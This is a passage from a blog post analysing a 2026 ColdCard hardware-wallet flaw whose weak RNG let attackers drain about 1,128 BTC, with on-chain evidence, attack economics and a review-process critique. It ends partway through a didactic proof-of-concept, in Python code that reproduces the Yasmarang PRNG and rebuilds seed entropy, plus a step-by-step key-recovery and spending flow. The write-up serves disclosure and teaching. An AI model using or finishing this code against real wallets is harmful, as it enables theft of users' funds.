</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Output:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">entropy (128 bits): 0123456789abcdef0123456789abcdef
</span></span><span class="line"><span class="cl">mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
</span></span><span class="line"><span class="cl">seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
</span></span><span class="line"><span class="cl">root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
</span></span><span class="line"><span class="cl">private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
</span></span><span class="line"><span class="cl">address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The private key is just an integer. From it, the <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">elliptic curve</a> computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.</p>
<p>In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.</p>
<h2>Real evidence on the blockchain<span class="hx:absolute hx:-mt-20" id="real-evidence-on-the-blockchain"></span>
    <a href="#real-evidence-on-the-blockchain" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I am not making up numbers. The independent site <a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch.vercel.app</a> has been tracking the drains transaction by transaction and publishes the verified minimum: <strong>1,128.6633 BTC</strong> drained from <strong>2,334 confirmed addresses</strong>. The site itself stresses that these are <strong>verified minimums, not totals</strong> — other clusters likely exist.</p>
<p>It identifies two draining episodes:</p>
<ul>
<li><strong>July 30, 2026</strong>, blocks <strong>960183 to 960191</strong> — 1,195 addresses drained.</li>
<li><strong>July 31, 2026</strong>, blocks <strong>960345 to 960369</strong> — 1,126 addresses drained.</li>
</ul>
<p>The main public clusters making up that minimum include:</p>
<ul>
<li><a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"><code>bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0</code></a> — <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC</a> in 501 outputs.</li>
<li><a href="https://mempool.space/address/bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3"target="_blank" rel="noopener"><code>bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3</code></a> — <a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener">received ~398.476 BTC</a> in a single transaction with 491 inputs (<a href="https://mempool.space/tx/14edd9ee8445793c320e92e3b50365a0e18b8b25f424044bce337463f007fdd2"target="_blank" rel="noopener"><code>14edd9ee...</code></a>).</li>
<li><a href="https://mempool.space/address/bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q"target="_blank" rel="noopener"><code>bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q</code></a> — <a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener">received ~89.623 BTC</a> in a single transaction with 204 inputs (<a href="https://mempool.space/tx/4b50d61a3d6e54c62ee0be13d7e9a8b69bffe7fc2b2cab4e14da56e4e20440d2"target="_blank" rel="noopener"><code>4b50d61a...</code></a>).</li>
</ul>
<p>Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to <strong>1,128.6633 BTC</strong>.</p>
<blockquote>
  <p>The first cluster moved ~562 BTC to <a href="https://mempool.space/address/bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r"target="_blank" rel="noopener"><code>bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r</code></a>; that is the same money, not a fourth victim.</p>

</blockquote>
<p>A concrete example: transaction <a href="https://mempool.space/tx/78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d"target="_blank" rel="noopener"><code>78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d</code></a> consolidates three inputs from the same vulnerable address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, one of them almost <strong>29.9 BTC</strong>. All three inputs use the same compressed public key:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.</p>
<p>Other source addresses with large values include <a href="https://mempool.space/address/bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf"target="_blank" rel="noopener"><code>bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf</code></a> (~24.08 BTC), <a href="https://mempool.space/address/bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5"target="_blank" rel="noopener"><code>bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5</code></a> (~14.43 BTC), and <a href="https://mempool.space/address/bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw"target="_blank" rel="noopener"><code>bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw</code></a> (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.</p>
<p>Bitcoin Optech <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">issue 416</a> estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms <strong>at least 1,128.6633 BTC stolen</strong>.</p>
<h2>What the blockchain timeline suggests about attack order<span class="hx:absolute hx:-mt-20" id="what-the-blockchain-timeline-suggests-about-attack-order"></span>
    <a href="#what-the-blockchain-timeline-suggests-about-attack-order" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-watch.vercel.app/"target="_blank" rel="noopener">coldcard-watch</a> shows <strong>two distinct episodes</strong>, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.</p>
<p>This two-wave pattern fits two interpretations:</p>
<ol>
<li><strong>Same attacker, pre-computed in batches.</strong> The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.</li>
<li><strong>Multiple attackers.</strong> After the flaw became public, other actors joined with their own dictionaries of likely states.</li>
</ol>
<p>Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:</p>
<ul>
<li><strong>~40 bits of effective entropy</strong> ≈ 2^40 ≈ <strong>1.1 trillion</strong> candidate states.</li>
<li>On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about <strong>13 days</strong> to search exhaustively. With 100 GPUs/FPGAs, it drops to <strong>a few hours</strong>.</li>
<li>Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block</a> points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.</li>
</ul>
<p>Mk4/Q/Mk5 with reseed depends on how well the fallback is known:</p>
<ul>
<li>If the fallback is known, only the <strong>32 bits</strong> from the secure element remain: 2^32 ≈ <strong>4.3 billion</strong> candidates per device, or about <strong>1.2 hours</strong> per device at 1 million/s.</li>
<li>If the fallback is completely unknown, the space rises to ~2^72, about <strong>4.7 sextillion</strong> candidates — infeasible by brute force alone.</li>
</ul>
<p>That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.</p>
<p>The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.</p>
<h2>What the chain reveals about the operation<span class="hx:absolute hx:-mt-20" id="what-the-chain-reveals-about-the-operation"></span>
    <a href="#what-the-chain-reveals-about-the-operation" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analyzes in detail the three waves that emptied 1,082.59 BTC in <strong>41 minutes</strong> (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:</p>
<table>
  <thead>
      <tr>
          <th>Wave</th>
          <th>Block(s)</th>
          <th>BTC</th>
          <th>Addresses</th>
          <th>Note</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89.62</td>
          <td>204</td>
          <td>Took everything, including dust below the fee value.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398.49</td>
          <td>491</td>
          <td>Densest burst; left balances below ~0.108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594.48</td>
          <td>500</td>
          <td>The wave the press reported; started 3.5 minutes after wave 2.</td>
      </tr>
  </tbody>
</table>
<p>Notable details:</p>
<ul>
<li><strong>Sorted by balance:</strong> within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.</li>
<li><strong>Identical shape:</strong> all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.</li>
<li><strong>Uniform fee rate:</strong> median of 30.136986 sat/vB across all waves — the same script choosing the fee.</li>
<li><strong>Address types:</strong> 1,182 were native SegWit (<code>v0_p2wpkh</code>), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.</li>
<li><strong>Funds still sitting:</strong> when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.</li>
</ul>
<p>All of this points to a single automated operation, not 1,195 independent thefts.</p>
<h2>How this slipped through<span class="hx:absolute hx:-mt-20" id="how-this-slipped-through"></span>
    <a href="#how-this-slipped-through" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The same <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> maps the commits that introduced the bug. The most damning facts:</p>
<ul>
<li>The commit that added the wrong <code>#ifndef</code> guard in <code>libngu</code> had a <strong>one-character message</strong>, changed 28 files, and <strong>did not go through a pull request</strong>.</li>
<li>The <code>First pass w/ libNgU</code> commit, which migrated seed generation to libngu and stripped GPL code, changed <strong>120 files</strong> and was also pushed directly, with no PR.</li>
<li>The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but <strong>merged with zero reviews</strong>.</li>
</ul>
<p>A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.</p>
<h2>The conceptual attack flow<span class="hx:absolute hx:-mt-20" id="the-conceptual-attack-flow"></span>
    <a href="#the-conceptual-attack-flow" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before the code, the general flow:</p>
<ol>
<li><strong>Reproduce the RNG.</strong> The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in <code>libNgU</code>.</li>
<li><strong>Enumerate plausible states.</strong> For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.</li>
<li><strong>Derive the wallet.</strong> From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.</li>
<li><strong>Query the blockchain.</strong> For each derived address, ask an explorer or a local node whether a UTXO exists.</li>
<li><strong>Stop at the match.</strong> When a derived address matches an address with balance, the attacker already has the corresponding private key.</li>
<li><strong>Spend.</strong> With the private key, build a transaction that moves the UTXO to an address they control.</li>
</ol>
<p>The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.</p>
<h2>Proof-of-concept code<span class="hx:absolute hx:-mt-20" id="proof-of-concept-code"></span>
    <a href="#proof-of-concept-code" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.</p>
<h3>1. The broken PRNG: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-the-broken-prng-yasmarang"></span>
    <a href="#1-the-broken-prng-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; mutates the list and returns a uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">MicroPython source</a>.</p>
<p><strong>State example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. From RNG state to ColdCard entropy<span class="hx:absolute hx:-mt-20" id="2-from-rng-state-to-coldcard-entropy"></span>
    <a href="#2-from-rng-state-to-coldcard-entropy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simulates what the ColdCard did to generate the 32 entropy bytes.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython initializes its Yasmarang with:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU keeps a second Yasmarang with public constants.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Each 32-bit word is: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - On Mk4/Q/Mk5, reseed changes the libNgU &#39;pad&#39; state.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() in the firmware only overwrites yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># The ColdCard may make extra calls before generating the seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). In practice the attacker models the exact call history.</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Here we simplify to 8 words = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>What it does:</strong> builds the initial state. The MicroPython <code>pad</code> is <code>UID_low32 ^ SysTick</code>; <code>n</code> and <code>d</code> come from the RTC. <code>libNgU</code> enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.</p>
<p><strong>Example:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. From entropy to a Bitcoin address<span class="hx:absolute hx:-mt-20" id="3-from-entropy-to-a-bitcoin-address"></span>
